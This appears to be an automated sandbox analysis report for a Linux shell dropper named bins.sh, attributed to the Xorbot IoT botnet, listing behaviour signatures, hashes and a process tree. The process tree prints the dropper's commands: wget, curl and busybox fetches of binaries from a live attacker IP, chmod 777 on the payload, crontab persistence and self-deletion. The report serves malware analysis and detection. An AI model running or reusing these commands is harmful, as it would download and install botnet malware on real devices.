Resubmissions

01/03/2025, 07:05

250301-hwytrsvmz87

27/02/2025, 14:28

250227-rs4ehszr1410

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    27/02/2025, 14:28

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250227-rs4ehszr14
  • SHA256 3f5d3c510020efce3f7680c522ece2e02bbbe5875c0a02500a6ae6fc68a0736a
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2117) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    • Renames itself
    • Reads runtime system information
    PID:1498
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1499
      • /usr/bin/wget
        wget http://37.44.238.88/bins/hxXxxhM4HLZPbMPdm6Dl3RnK84E3F1d8xA
        2⤵
        • Writes file to tmp directory
        PID:1500
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/hxXxxhM4HLZPbMPdm6Dl3RnK84E3F1d8xA
        2⤵
        • Writes file to tmp directory
        PID:1504
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/hxXxxhM4HLZPbMPdm6Dl3RnK84E3F1d8xA
        2⤵
        • Writes file to tmp directory
        PID:1505
      • /bin/chmod
        chmod 777 hxXxxhM4HLZPbMPdm6Dl3RnK84E3F1d8xA
        2⤵
        • File and Directory Permissions Modification
        PID:1506
      • /usr/bin/crontab
        crontab -l
        2⤵
          PID:1510
        • /usr/bin/crontab
          crontab -
          2⤵
          • Creates/modifies Cron job
          PID:1512
        • /bin/rm
          rm hxXxxhM4HLZPbMPdm6Dl3RnK84E3F1d8xA
          2⤵
            PID:1522
          • /usr/bin/wget
            wget http://37.44.238.88/bins/sh3GsDvsd0IVicINT5esOufF1IF8Hhlw9f
            2⤵
              PID:1525

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                hxXxxhM4HLZPbMPdm6Dl3RnK84E3F1d8xA

                • Path /tmp/hxXxxhM4HLZPbMPdm6Dl3RnK84E3F1d8xA
                • Size 99KB
                • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                • MD5 SHA1 SHA512 SSDEEP

                tmp.m90q0n

                • Path /var/spool/cron/crontabs/tmp.m90q0n
                • Size 210B
                • SHA256 1bf6884573b7b935405134086a2f5bd8f17180e99db8cfc55dfdfe0f55f11d14
                • MD5 SHA1 SHA512